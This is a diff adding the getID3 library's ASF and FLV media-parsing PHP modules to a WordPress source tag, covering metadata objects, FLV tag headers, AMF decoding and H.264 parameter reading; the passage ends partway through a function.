+						$payloadExtensionSystem['extension_system_info_length'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  $payloadExtensionSystem['extension_system_info_length']));
+						$offset += $payloadExtensionSystem['extension_system_info_length'];
+
+						$thisObject['payload_extension_systems'][$i] = $payloadExtensionSystem;
+					}
+
+					break;
+
+				case GETID3_ASF_Padding_Object:
+					// padding, skip it
+					break;
+
+				case GETID3_ASF_Metadata_Object:
+					$thisObject['description_record_counts'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
+					$offset += 2;
+
+					for ($i = 0; $i < $thisObject['description_record_counts']; $i++) {
+						$descriptionRecord = array();
+
+						$descriptionRecord['reserved_1']         = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2)); // must be zero
+						$offset += 2;
+
+						$descriptionRecord['stream_number']      = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
+						$offset += 2;
+
+						$descriptionRecord['name_length']        = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
+						$offset += 2;
+
+						$descriptionRecord['data_type']          = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
+						$offset += 2;
+						$descriptionRecord['data_type_text'] = self::metadataLibraryObjectDataTypeLookup($descriptionRecord['data_type']);
+
+						$descriptionRecord['data_length']        = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
+						$offset += 4;
+
+						$descriptionRecord['name']               =                              substr($asf_header_extension_object_data, $offset,  $descriptionRecord['name_length']);
+						$offset += $descriptionRecord['name_length'];
+
+						$descriptionRecord['data']               =                              substr($asf_header_extension_object_data, $offset,  $descriptionRecord['data_length']);
+						$offset += $descriptionRecord['data_length'];
+						switch ($descriptionRecord['data_type']) {
+							case 0x0000: // Unicode string
+								break;
+
+							case 0x0001: // BYTE array
+								// do nothing
+								break;
+
+							case 0x0002: // BOOL
+								$descriptionRecord['data'] = (bool) getid3_lib::LittleEndian2Int($descriptionRecord['data']);
+								break;
+
+							case 0x0003: // DWORD
+							case 0x0004: // QWORD
+							case 0x0005: // WORD
+								$descriptionRecord['data'] = getid3_lib::LittleEndian2Int($descriptionRecord['data']);
+								break;
+
+							case 0x0006: // GUID
+								$descriptionRecord['data_text'] = $this->BytestringToGUID($descriptionRecord['data']);
+								break;
+						}
+
+						$thisObject['description_record'][$i] = $descriptionRecord;
+					}
+					break;
+
+				case GETID3_ASF_Language_List_Object:
+					$thisObject['language_id_record_counts'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
+					$offset += 2;
+
+					for ($i = 0; $i < $thisObject['language_id_record_counts']; $i++) {
+						$languageIDrecord = array();
+
+						$languageIDrecord['language_id_length']         = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  1));
+						$offset += 1;
+
+						$languageIDrecord['language_id']                =                              substr($asf_header_extension_object_data, $offset,  $languageIDrecord['language_id_length']);
+						$offset += $languageIDrecord['language_id_length'];
+
+						$thisObject['language_id_record'][$i] = $languageIDrecord;
+					}
+					break;
+
+				case GETID3_ASF_Metadata_Library_Object:
+					$thisObject['description_records_count'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
+					$offset += 2;
+
+					for ($i = 0; $i < $thisObject['description_records_count']; $i++) {
+						$descriptionRecord = array();
+
+						$descriptionRecord['language_list_index'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
+						$offset += 2;
+
+						$descriptionRecord['stream_number']       = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
+						$offset += 2;
+
+						$descriptionRecord['name_length']         = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
+						$offset += 2;
+
+						$descriptionRecord['data_type']           = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
+						$offset += 2;
+						$descriptionRecord['data_type_text'] = self::metadataLibraryObjectDataTypeLookup($descriptionRecord['data_type']);
+
+						$descriptionRecord['data_length']         = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
+						$offset += 4;
+
+						$descriptionRecord['name']                =                              substr($asf_header_extension_object_data, $offset,  $descriptionRecord['name_length']);
+						$offset += $descriptionRecord['name_length'];
+
+						$descriptionRecord['data']                =                              substr($asf_header_extension_object_data, $offset,  $descriptionRecord['data_length']);
+						$offset += $descriptionRecord['data_length'];
+
+						if (preg_match('#^WM/Picture$#', str_replace("\x00", '', trim($descriptionRecord['name'])))) {
+							$WMpicture = $this->ASF_WMpicture($descriptionRecord['data']);
+							foreach ($WMpicture as $key => $value) {
+								$descriptionRecord['data'] = $WMpicture;
+							}
+							unset($WMpicture);
+						}
+
+						$thisObject['description_record'][$i] = $descriptionRecord;
+					}
+					break;
+
+				default:
+					$unhandled_sections++;
+					if ($this->GUIDname($thisObject['guid_text'])) {
+						$this->warning('unhandled Header Extension Object GUID "'.$this->GUIDname($thisObject['guid_text']).'" {'.$thisObject['guid_text'].'} at offset '.($offset - 16 - 8));
+					} else {
+						$this->warning('unknown Header Extension Object GUID {'.$thisObject['guid_text'].'} in at offset '.($offset - 16 - 8));
+					}
+					break;
+			}
+			$HeaderExtensionObjectParsed[] = $thisObject;
+
+			$objectOffset += $thisObject['size'];
+		}
+		return $HeaderExtensionObjectParsed;
+	}
+
+
+	public static function metadataLibraryObjectDataTypeLookup($id) {
+		static $lookup = array(
+			0x0000 => 'Unicode string', // The data consists of a sequence of Unicode characters
+			0x0001 => 'BYTE array',     // The type of the data is implementation-specific
+			0x0002 => 'BOOL',           // The data is 2 bytes long and should be interpreted as a 16-bit unsigned integer. Only 0x0000 or 0x0001 are permitted values
+			0x0003 => 'DWORD',          // The data is 4 bytes long and should be interpreted as a 32-bit unsigned integer
+			0x0004 => 'QWORD',          // The data is 8 bytes long and should be interpreted as a 64-bit unsigned integer
+			0x0005 => 'WORD',           // The data is 2 bytes long and should be interpreted as a 16-bit unsigned integer
+			0x0006 => 'GUID',           // The data is 16 bytes long and should be interpreted as a 128-bit GUID
+		);
+		return (isset($lookup[$id]) ? $lookup[$id] : 'invalid');
+	}
+
+	public function ASF_WMpicture(&$data) {
+		//typedef struct _WMPicture{
+		//  LPWSTR  pwszMIMEType;
+		//  BYTE  bPictureType;
+		//  LPWSTR  pwszDescription;
+		//  DWORD  dwDataLen;
+		//  BYTE*  pbData;
+		//} WM_PICTURE;
+
+		$WMpicture = array();
+
+		$offset = 0;
+		$WMpicture['image_type_id'] = getid3_lib::LittleEndian2Int(substr($data, $offset, 1));
+		$offset += 1;
+		$WMpicture['image_type']    = self::WMpictureTypeLookup($WMpicture['image_type_id']);
+		$WMpicture['image_size']    = getid3_lib::LittleEndian2Int(substr($data, $offset, 4));
+		$offset += 4;
+
+		$WMpicture['image_mime'] = '';
+		do {
+			$next_byte_pair = substr($data, $offset, 2);
+			$offset += 2;
+			$WMpicture['image_mime'] .= $next_byte_pair;
+		} while ($next_byte_pair !== "\x00\x00");
+
+		$WMpicture['image_description'] = '';
+		do {
+			$next_byte_pair = substr($data, $offset, 2);
+			$offset += 2;
+			$WMpicture['image_description'] .= $next_byte_pair;
+		} while ($next_byte_pair !== "\x00\x00");
+
+		$WMpicture['dataoffset'] = $offset;
+		$WMpicture['data'] = substr($data, $offset);
+
+		$imageinfo = array();
+		$WMpicture['image_mime'] = '';
+		$imagechunkcheck = getid3_lib::GetDataImageSize($WMpicture['data'], $imageinfo);
+		unset($imageinfo);
+		if (!empty($imagechunkcheck)) {
+			$WMpicture['image_mime'] = image_type_to_mime_type($imagechunkcheck[2]);
+		}
+		if (!isset($this->getid3->info['asf']['comments']['picture'])) {
+			$this->getid3->info['asf']['comments']['picture'] = array();
+		}
+		$this->getid3->info['asf']['comments']['picture'][] = array('data'=>$WMpicture['data'], 'image_mime'=>$WMpicture['image_mime']);
+
+		return $WMpicture;
+	}
+
+
+	// Remove terminator 00 00 and convert UTF-16LE to Latin-1
+	public static function TrimConvert($string) {
+		return trim(getid3_lib::iconv_fallback('UTF-16LE', 'ISO-8859-1', self::TrimTerm($string)), ' ');
+	}
+
+
+	// Remove terminator 00 00
+	public static function TrimTerm($string) {
+		// remove terminator, only if present (it should be, but...)
+		if (substr($string, -2) === "\x00\x00") {
+			$string = substr($string, 0, -2);
+		}
+		return $string;
+	}
+
+}
Index: /tags/5.0.20/src/wp-includes/ID3/module.audio-video.flv.php
===================================================================
--- /tags/5.0.20/src/wp-includes/ID3/module.audio-video.flv.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/ID3/module.audio-video.flv.php	(revision 56912)
@@ -0,0 +1,745 @@
+<?php
+/////////////////////////////////////////////////////////////////
+/// getID3() by James Heinrich <info@getid3.org>               //
+//  available at http://getid3.sourceforge.net                 //
+//            or http://www.getid3.org                         //
+//          also https://github.com/JamesHeinrich/getID3       //
+//                                                             //
+//  FLV module by Seth Kaufman <sethØwhirl-i-gig*com>          //
+//                                                             //
+//  * version 0.1 (26 June 2005)                               //
+//                                                             //
+//                                                             //
+//  * version 0.1.1 (15 July 2005)                             //
+//  minor modifications by James Heinrich <info@getid3.org>    //
+//                                                             //
+//  * version 0.2 (22 February 2006)                           //
+//  Support for On2 VP6 codec and meta information             //
+//    by Steve Webster <steve.websterØfeaturecreep*com>        //
+//                                                             //
+//  * version 0.3 (15 June 2006)                               //
+//  Modified to not read entire file into memory               //
+//    by James Heinrich <info@getid3.org>                      //
+//                                                             //
+//  * version 0.4 (07 December 2007)                           //
+//  Bugfixes for incorrectly parsed FLV dimensions             //
+//    and incorrect parsing of onMetaTag                       //
+//    by Evgeny Moysevich <moysevichØgmail*com>                //
+//                                                             //
+//  * version 0.5 (21 May 2009)                                //
+//  Fixed parsing of audio tags and added additional codec     //
+//    details. The duration is now read from onMetaTag (if     //
+//    exists), rather than parsing whole file                  //
+//    by Nigel Barnes <ngbarnesØhotmail*com>                   //
+//                                                             //
+//  * version 0.6 (24 May 2009)                                //
+//  Better parsing of files with h264 video                    //
+//    by Evgeny Moysevich <moysevichØgmail*com>                //
+//                                                             //
+//  * version 0.6.1 (30 May 2011)                              //
+//    prevent infinite loops in expGolombUe()                  //
+//                                                             //
+//  * version 0.7.0 (16 Jul 2013)                              //
+//  handle GETID3_FLV_VIDEO_VP6FLV_ALPHA                       //
+//  improved AVCSequenceParameterSetReader::readData()         //
+//    by Xander Schouwerwou <schouwerwouØgmail*com>            //
+//                                                             //
+/////////////////////////////////////////////////////////////////
+//                                                             //
+// module.audio-video.flv.php                                  //
+// module for analyzing Shockwave Flash Video files            //
+// dependencies: NONE                                          //
+//                                                            ///
+/////////////////////////////////////////////////////////////////
+
+define('GETID3_FLV_TAG_AUDIO',          8);
+define('GETID3_FLV_TAG_VIDEO',          9);
+define('GETID3_FLV_TAG_META',          18);
+
+define('GETID3_FLV_VIDEO_H263',         2);
+define('GETID3_FLV_VIDEO_SCREEN',       3);
+define('GETID3_FLV_VIDEO_VP6FLV',       4);
+define('GETID3_FLV_VIDEO_VP6FLV_ALPHA', 5);
+define('GETID3_FLV_VIDEO_SCREENV2',     6);
+define('GETID3_FLV_VIDEO_H264',         7);
+
+define('H264_AVC_SEQUENCE_HEADER',          0);
+define('H264_PROFILE_BASELINE',            66);
+define('H264_PROFILE_MAIN',                77);
+define('H264_PROFILE_EXTENDED',            88);
+define('H264_PROFILE_HIGH',               100);
+define('H264_PROFILE_HIGH10',             110);
+define('H264_PROFILE_HIGH422',            122);
+define('H264_PROFILE_HIGH444',            144);
+define('H264_PROFILE_HIGH444_PREDICTIVE', 244);
+
+class getid3_flv extends getid3_handler {
+
+	const magic = 'FLV';
+
+	public $max_frames = 100000; // break out of the loop if too many frames have been scanned; only scan this many if meta frame does not contain useful duration
+
+	public function Analyze() {
+		$info = &$this->getid3->info;
+
+		$this->fseek($info['avdataoffset']);
+
+		$FLVdataLength = $info['avdataend'] - $info['avdataoffset'];
+		$FLVheader = $this->fread(5);
+
+		$info['fileformat'] = 'flv';
+		$info['flv']['header']['signature'] =                           substr($FLVheader, 0, 3);
+		$info['flv']['header']['version']   = getid3_lib::BigEndian2Int(substr($FLVheader, 3, 1));
+		$TypeFlags                          = getid3_lib::BigEndian2Int(substr($FLVheader, 4, 1));
+
+		if ($info['flv']['header']['signature'] != self::magic) {
+			$this->error('Expecting "'.getid3_lib::PrintHexBytes(self::magic).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($info['flv']['header']['signature']).'"');
+			unset($info['flv'], $info['fileformat']);
+			return false;
+		}
+
+		$info['flv']['header']['hasAudio'] = (bool) ($TypeFlags & 0x04);
+		$info['flv']['header']['hasVideo'] = (bool) ($TypeFlags & 0x01);
+
+		$FrameSizeDataLength = getid3_lib::BigEndian2Int($this->fread(4));
+		$FLVheaderFrameLength = 9;
+		if ($FrameSizeDataLength > $FLVheaderFrameLength) {
+			$this->fseek($FrameSizeDataLength - $FLVheaderFrameLength, SEEK_CUR);
+		}
+		$Duration = 0;
+		$found_video = false;
+		$found_audio = false;
+		$found_meta  = false;
+		$found_valid_meta_playtime = false;
+		$tagParseCount = 0;
+		$info['flv']['framecount'] = array('total'=>0, 'audio'=>0, 'video'=>0);
+		$flv_framecount = &$info['flv']['framecount'];
+		while ((($this->ftell() + 16) < $info['avdataend']) && (($tagParseCount++ <= $this->max_frames) || !$found_valid_meta_playtime))  {
+			$ThisTagHeader = $this->fread(16);
+
+			$PreviousTagLength = getid3_lib::BigEndian2Int(substr($ThisTagHeader,  0, 4));
+			$TagType           = getid3_lib::BigEndian2Int(substr($ThisTagHeader,  4, 1));
+			$DataLength        = getid3_lib::BigEndian2Int(substr($ThisTagHeader,  5, 3));
+			$Timestamp         = getid3_lib::BigEndian2Int(substr($ThisTagHeader,  8, 3));
+			$LastHeaderByte    = getid3_lib::BigEndian2Int(substr($ThisTagHeader, 15, 1));
+			$NextOffset = $this->ftell() - 1 + $DataLength;
+			if ($Timestamp > $Duration) {
+				$Duration = $Timestamp;
+			}
+
+			$flv_framecount['total']++;
+			switch ($TagType) {
+				case GETID3_FLV_TAG_AUDIO:
+					$flv_framecount['audio']++;
+					if (!$found_audio) {
+						$found_audio = true;
+						$info['flv']['audio']['audioFormat']     = ($LastHeaderByte >> 4) & 0x0F;
+						$info['flv']['audio']['audioRate']       = ($LastHeaderByte >> 2) & 0x03;
+						$info['flv']['audio']['audioSampleSize'] = ($LastHeaderByte >> 1) & 0x01;
+						$info['flv']['audio']['audioType']       =  $LastHeaderByte       & 0x01;
+					}
+					break;
+
+				case GETID3_FLV_TAG_VIDEO:
+					$flv_framecount['video']++;
+					if (!$found_video) {
+						$found_video = true;
+						$info['flv']['video']['videoCodec'] = $LastHeaderByte & 0x07;
+
+						$FLVvideoHeader = $this->fread(11);
+
+						if ($info['flv']['video']['videoCodec'] == GETID3_FLV_VIDEO_H264) {
+							// this code block contributed by: moysevichØgmail*com
+
+							$AVCPacketType = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 0, 1));
+							if ($AVCPacketType == H264_AVC_SEQUENCE_HEADER) {
+								//	read AVCDecoderConfigurationRecord
+								$configurationVersion       = getid3_lib::BigEndian2Int(substr($FLVvideoHeader,  4, 1));
+								$AVCProfileIndication       = getid3_lib::BigEndian2Int(substr($FLVvideoHeader,  5, 1));
+								$profile_compatibility      = getid3_lib::BigEndian2Int(substr($FLVvideoHeader,  6, 1));
+								$lengthSizeMinusOne         = getid3_lib::BigEndian2Int(substr($FLVvideoHeader,  7, 1));
+								$numOfSequenceParameterSets = getid3_lib::BigEndian2Int(substr($FLVvideoHeader,  8, 1));
+
+								if (($numOfSequenceParameterSets & 0x1F) != 0) {
+									//	there is at least one SequenceParameterSet
+									//	read size of the first SequenceParameterSet
+									//$spsSize = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 9, 2));
+									$spsSize = getid3_lib::LittleEndian2Int(substr($FLVvideoHeader, 9, 2));
+									//	read the first SequenceParameterSet
+									$sps = $this->fread($spsSize);
+									if (strlen($sps) == $spsSize) {	//	make sure that whole SequenceParameterSet was red
+										$spsReader = new AVCSequenceParameterSetReader($sps);
+										$spsReader->readData();
+										$info['video']['resolution_x'] = $spsReader->getWidth();
+										$info['video']['resolution_y'] = $spsReader->getHeight();
+									}
+								}
+							}
+							// end: moysevichØgmail*com
+
+						} elseif ($info['flv']['video']['videoCodec'] == GETID3_FLV_VIDEO_H263) {
+
+							$PictureSizeType = (getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 3, 2))) >> 7;
+							$PictureSizeType = $PictureSizeType & 0x0007;
+							$info['flv']['header']['videoSizeType'] = $PictureSizeType;
+							switch ($PictureSizeType) {
+								case 0:
+									//$PictureSizeEnc = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 5, 2));
+									//$PictureSizeEnc <<= 1;
+									//$info['video']['resolution_x'] = ($PictureSizeEnc & 0xFF00) >> 8;
+									//$PictureSizeEnc = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 6, 2));
+									//$PictureSizeEnc <<= 1;
+									//$info['video']['resolution_y'] = ($PictureSizeEnc & 0xFF00) >> 8;
+
+									$PictureSizeEnc['x'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 4, 2)) >> 7;
+									$PictureSizeEnc['y'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 5, 2)) >> 7;
+									$info['video']['resolution_x'] = $PictureSizeEnc['x'] & 0xFF;
+									$info['video']['resolution_y'] = $PictureSizeEnc['y'] & 0xFF;
+									break;
+
+								case 1:
+									$PictureSizeEnc['x'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 4, 3)) >> 7;
+									$PictureSizeEnc['y'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 6, 3)) >> 7;
+									$info['video']['resolution_x'] = $PictureSizeEnc['x'] & 0xFFFF;
+									$info['video']['resolution_y'] = $PictureSizeEnc['y'] & 0xFFFF;
+									break;
+
+								case 2:
+									$info['video']['resolution_x'] = 352;
+									$info['video']['resolution_y'] = 288;
+									break;
+
+								case 3:
+									$info['video']['resolution_x'] = 176;
+									$info['video']['resolution_y'] = 144;
+									break;
+
+								case 4:
+									$info['video']['resolution_x'] = 128;
+									$info['video']['resolution_y'] = 96;
+									break;
+
+								case 5:
+									$info['video']['resolution_x'] = 320;
+									$info['video']['resolution_y'] = 240;
+									break;
+
+								case 6:
+									$info['video']['resolution_x'] = 160;
+									$info['video']['resolution_y'] = 120;
+									break;
+
+								default:
+									$info['video']['resolution_x'] = 0;
+									$info['video']['resolution_y'] = 0;
+									break;
+
+							}
+
+						} elseif ($info['flv']['video']['videoCodec'] ==  GETID3_FLV_VIDEO_VP6FLV_ALPHA) {
+
+							/* contributed by schouwerwouØgmail*com */
+							if (!isset($info['video']['resolution_x'])) { // only when meta data isn't set
+								$PictureSizeEnc['x'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 6, 2));
+								$PictureSizeEnc['y'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 7, 2));
+								$info['video']['resolution_x'] = ($PictureSizeEnc['x'] & 0xFF) << 3;
+								$info['video']['resolution_y'] = ($PictureSizeEnc['y'] & 0xFF) << 3;
+							}
+							/* end schouwerwouØgmail*com */
+
+						}
+						if (!empty($info['video']['resolution_x']) && !empty($info['video']['resolution_y'])) {
+							$info['video']['pixel_aspect_ratio'] = $info['video']['resolution_x'] / $info['video']['resolution_y'];
+						}
+					}
+					break;
+
+				// Meta tag
+				case GETID3_FLV_TAG_META:
+					if (!$found_meta) {
+						$found_meta = true;
+						$this->fseek(-1, SEEK_CUR);
+						$datachunk = $this->fread($DataLength);
+						$AMFstream = new AMFStream($datachunk);
+						$reader = new AMFReader($AMFstream);
+						$eventName = $reader->readData();
+						$info['flv']['meta'][$eventName] = $reader->readData();
+						unset($reader);
+
+						$copykeys = array('framerate'=>'frame_rate', 'width'=>'resolution_x', 'height'=>'resolution_y', 'audiodatarate'=>'bitrate', 'videodatarate'=>'bitrate');
+						foreach ($copykeys as $sourcekey => $destkey) {
+							if (isset($info['flv']['meta']['onMetaData'][$sourcekey])) {
+								switch ($sourcekey) {
+									case 'width':
+									case 'height':
+										$info['video'][$destkey] = intval(round($info['flv']['meta']['onMetaData'][$sourcekey]));
+										break;
+									case 'audiodatarate':
+										$info['audio'][$destkey] = getid3_lib::CastAsInt(round($info['flv']['meta']['onMetaData'][$sourcekey] * 1000));
+										break;
+									case 'videodatarate':
+									case 'frame_rate':
+									default:
+										$info['video'][$destkey] = $info['flv']['meta']['onMetaData'][$sourcekey];
+										break;
+								}
+							}
+						}
+						if (!empty($info['flv']['meta']['onMetaData']['duration'])) {
+							$found_valid_meta_playtime = true;
+						}
+					}
+					break;
+
+				default:
+					// noop
+					break;
+			}
+			$this->fseek($NextOffset);
+		}
+
+		$info['playtime_seconds'] = $Duration / 1000;
+		if ($info['playtime_seconds'] > 0) {
+			$info['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds'];
+		}
+
+		if ($info['flv']['header']['hasAudio']) {
+			$info['audio']['codec']           =   self::audioFormatLookup($info['flv']['audio']['audioFormat']);
+			$info['audio']['sample_rate']     =     self::audioRateLookup($info['flv']['audio']['audioRate']);
+			$info['audio']['bits_per_sample'] = self::audioBitDepthLookup($info['flv']['audio']['audioSampleSize']);
+
+			$info['audio']['channels']   =  $info['flv']['audio']['audioType'] + 1; // 0=mono,1=stereo
+			$info['audio']['lossless']   = ($info['flv']['audio']['audioFormat'] ? false : true); // 0=uncompressed
+			$info['audio']['dataformat'] = 'flv';
+		}
+		if (!empty($info['flv']['header']['hasVideo'])) {
+			$info['video']['codec']      = self::videoCodecLookup($info['flv']['video']['videoCodec']);
+			$info['video']['dataformat'] = 'flv';
+			$info['video']['lossless']   = false;
+		}
+
+		// Set information from meta
+		if (!empty($info['flv']['meta']['onMetaData']['duration'])) {
+			$info['playtime_seconds'] = $info['flv']['meta']['onMetaData']['duration'];
+			$info['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds'];
+		}
+		if (isset($info['flv']['meta']['onMetaData']['audiocodecid'])) {
+			$info['audio']['codec'] = self::audioFormatLookup($info['flv']['meta']['onMetaData']['audiocodecid']);
+		}
+		if (isset($info['flv']['meta']['onMetaData']['videocodecid'])) {
+			$info['video']['codec'] = self::videoCodecLookup($info['flv']['meta']['onMetaData']['videocodecid']);
+		}
+		return true;
+	}
+
+
+	public static function audioFormatLookup($id) {
+		static $lookup = array(
+			0  => 'Linear PCM, platform endian',
+			1  => 'ADPCM',
+			2  => 'mp3',
+			3  => 'Linear PCM, little endian',
+			4  => 'Nellymoser 16kHz mono',
+			5  => 'Nellymoser 8kHz mono',
+			6  => 'Nellymoser',
+			7  => 'G.711A-law logarithmic PCM',
+			8  => 'G.711 mu-law logarithmic PCM',
+			9  => 'reserved',
+			10 => 'AAC',
+			11 => 'Speex',
+			12 => false, // unknown?
+			13 => false, // unknown?
+			14 => 'mp3 8kHz',
+			15 => 'Device-specific sound',
+		);
+		return (isset($lookup[$id]) ? $lookup[$id] : false);
+	}
+
+	public static function audioRateLookup($id) {
+		static $lookup = array(
+			0 =>  5500,
+			1 => 11025,
+			2 => 22050,
+			3 => 44100,
+		);
+		return (isset($lookup[$id]) ? $lookup[$id] : false);
+	}
+
+	public static function audioBitDepthLookup($id) {
+		static $lookup = array(
+			0 =>  8,
+			1 => 16,
+		);
+		return (isset($lookup[$id]) ? $lookup[$id] : false);
+	}
+
+	public static function videoCodecLookup($id) {
+		static $lookup = array(
+			GETID3_FLV_VIDEO_H263         => 'Sorenson H.263',
+			GETID3_FLV_VIDEO_SCREEN       => 'Screen video',
+			GETID3_FLV_VIDEO_VP6FLV       => 'On2 VP6',
+			GETID3_FLV_VIDEO_VP6FLV_ALPHA => 'On2 VP6 with alpha channel',
+			GETID3_FLV_VIDEO_SCREENV2     => 'Screen video v2',
+			GETID3_FLV_VIDEO_H264         => 'Sorenson H.264',
+		);
+		return (isset($lookup[$id]) ? $lookup[$id] : false);
+	}
+}
+
+class AMFStream {
+	public $bytes;
+	public $pos;
+
+	public function __construct(&$bytes) {
+		$this->bytes =& $bytes;
+		$this->pos = 0;
+	}
+
+	public function readByte() {
+		return getid3_lib::BigEndian2Int(substr($this->bytes, $this->pos++, 1));
+	}
+
+	public function readInt() {
+		return ($this->readByte() << 8) + $this->readByte();
+	}
+
+	public function readLong() {
+		return ($this->readByte() << 24) + ($this->readByte() << 16) + ($this->readByte() << 8) + $this->readByte();
+	}
+
+	public function readDouble() {
+		return getid3_lib::BigEndian2Float($this->read(8));
+	}
+
+	public function readUTF() {
+		$length = $this->readInt();
+		return $this->read($length);
+	}
+
+	public function readLongUTF() {
+		$length = $this->readLong();
+		return $this->read($length);
+	}
+
+	public function read($length) {
+		$val = substr($this->bytes, $this->pos, $length);
+		$this->pos += $length;
+		return $val;
+	}
+
+	public function peekByte() {
+		$pos = $this->pos;
+		$val = $this->readByte();
+		$this->pos = $pos;
+		return $val;
+	}
+
+	public function peekInt() {
+		$pos = $this->pos;
+		$val = $this->readInt();
+		$this->pos = $pos;
+		return $val;
+	}
+
+	public function peekLong() {
+		$pos = $this->pos;
+		$val = $this->readLong();
+		$this->pos = $pos;
+		return $val;
+	}
+
+	public function peekDouble() {
+		$pos = $this->pos;
+		$val = $this->readDouble();
+		$this->pos = $pos;
+		return $val;
+	}
+
+	public function peekUTF() {
+		$pos = $this->pos;
+		$val = $this->readUTF();
+		$this->pos = $pos;
+		return $val;
+	}
+
+	public function peekLongUTF() {
+		$pos = $this->pos;
+		$val = $this->readLongUTF();
+		$this->pos = $pos;
+		return $val;
+	}
+}
+
+class AMFReader {
+	public $stream;
+
+	public function __construct(&$stream) {
+		$this->stream =& $stream;
+	}
+
+	public function readData() {
+		$value = null;
+
+		$type = $this->stream->readByte();
+		switch ($type) {
+
+			// Double
+			case 0:
+				$value = $this->readDouble();
+			break;
+
+			// Boolean
+			case 1:
+				$value = $this->readBoolean();
+				break;
+
+			// String
+			case 2:
+				$value = $this->readString();
+				break;
+
+			// Object
+			case 3:
+				$value = $this->readObject();
+				break;
+
+			// null
+			case 6:
+				return null;
+				break;
+
+			// Mixed array
+			case 8:
+				$value = $this->readMixedArray();
+				break;
+
+			// Array
+			case 10:
+				$value = $this->readArray();
+				break;
+
+			// Date
+			case 11:
+				$value = $this->readDate();
+				break;
+
+			// Long string
+			case 13:
+				$value = $this->readLongString();
+				break;
+
+			// XML (handled as string)
+			case 15:
+				$value = $this->readXML();
+				break;
+
+			// Typed object (handled as object)
+			case 16:
+				$value = $this->readTypedObject();
+				break;
+
+			// Long string
+			default:
+				$value = '(unknown or unsupported data type)';
+				break;
+		}
+
+		return $value;
+	}
+
+	public function readDouble() {
+		return $this->stream->readDouble();
+	}
+
+	public function readBoolean() {
+		return $this->stream->readByte() == 1;
+	}
+
+	public function readString() {
+		return $this->stream->readUTF();
+	}
+
+	public function readObject() {
+		// Get highest numerical index - ignored
+//		$highestIndex = $this->stream->readLong();
+
+		$data = array();
+
+		while ($key = $this->stream->readUTF()) {
+			$data[$key] = $this->readData();
+		}
+		// Mixed array record ends with empty string (0x00 0x00) and 0x09
+		if (($key == '') && ($this->stream->peekByte() == 0x09)) {
+			// Consume byte
+			$this->stream->readByte();
+		}
+		return $data;
+	}
+
+	public function readMixedArray() {
+		// Get highest numerical index - ignored
+		$highestIndex = $this->stream->readLong();
+
+		$data = array();
+
+		while ($key = $this->stream->readUTF()) {
+			if (is_numeric($key)) {
+				$key = (float) $key;
+			}
+			$data[$key] = $this->readData();
+		}
+		// Mixed array record ends with empty string (0x00 0x00) and 0x09
+		if (($key == '') && ($this->stream->peekByte() == 0x09)) {
+			// Consume byte
+			$this->stream->readByte();
+		}
+
+		return $data;
+	}
+
+	public function readArray() {
+		$length = $this->stream->readLong();
+		$data = array();
+
+		for ($i = 0; $i < $length; $i++) {
+			$data[] = $this->readData();
+		}
+		return $data;
+	}
+
+	public function readDate() {
+		$timestamp = $this->stream->readDouble();
+		$timezone = $this->stream->readInt();
+		return $timestamp;
+	}
+
+	public function readLongString() {
+		return $this->stream->readLongUTF();
+	}
+
+	public function readXML() {
+		return $this->stream->readLongUTF();
+	}
+
+	public function readTypedObject() {
+		$className = $this->stream->readUTF();
+		return $this->readObject();
+	}
+}
+
+class AVCSequenceParameterSetReader {
+	public $sps;
+	public $start = 0;
+	public $currentBytes = 0;
+	public $currentBits = 0;
+	public $width;
+	public $height;
+
+	public function __construct($sps) {
+		$this->sps = $sps;
+	}
+
+	public function readData() {
+		$this->skipBits(8);
+		$this->skipBits(8);
+		$profile = $this->getBits(8);                               // read profile
+		if ($profile > 0) {
+			$this->skipBits(8);
+			$level_idc = $this->getBits(8);                         // level_idc
+			$this->expGolombUe();                                   // seq_parameter_set_id // sps
+			$this->expGolombUe();                                   // log2_max_frame_num_minus4
+			$picOrderType = $this->expGolombUe();                   // pic_order_cnt_type
+			if ($picOrderType == 0) {
+				$this->expGolombUe();                               // log2_max_pic_order_cnt_lsb_minus4
+			} elseif ($picOrderType == 1) {
+				$this->skipBits(1);                                 // delta_pic_order_always_zero_flag
+				$this->expGolombSe();                               // offset_for_non_ref_pic
+				$this->expGolombSe();                               // offset_for_top_to_bottom_field
+				$num_ref_frames_in_pic_order_cnt_cycle = $this->expGolombUe(); // num_ref_frames_in_pic_order_cnt_cycle
+				for ($i = 0; $i < $num_ref_frames_in_pic_order_cnt_cycle; $i++) {
+					$this->expGolombSe();                           // offset_for_ref_frame[ i ]
+				}
+			}
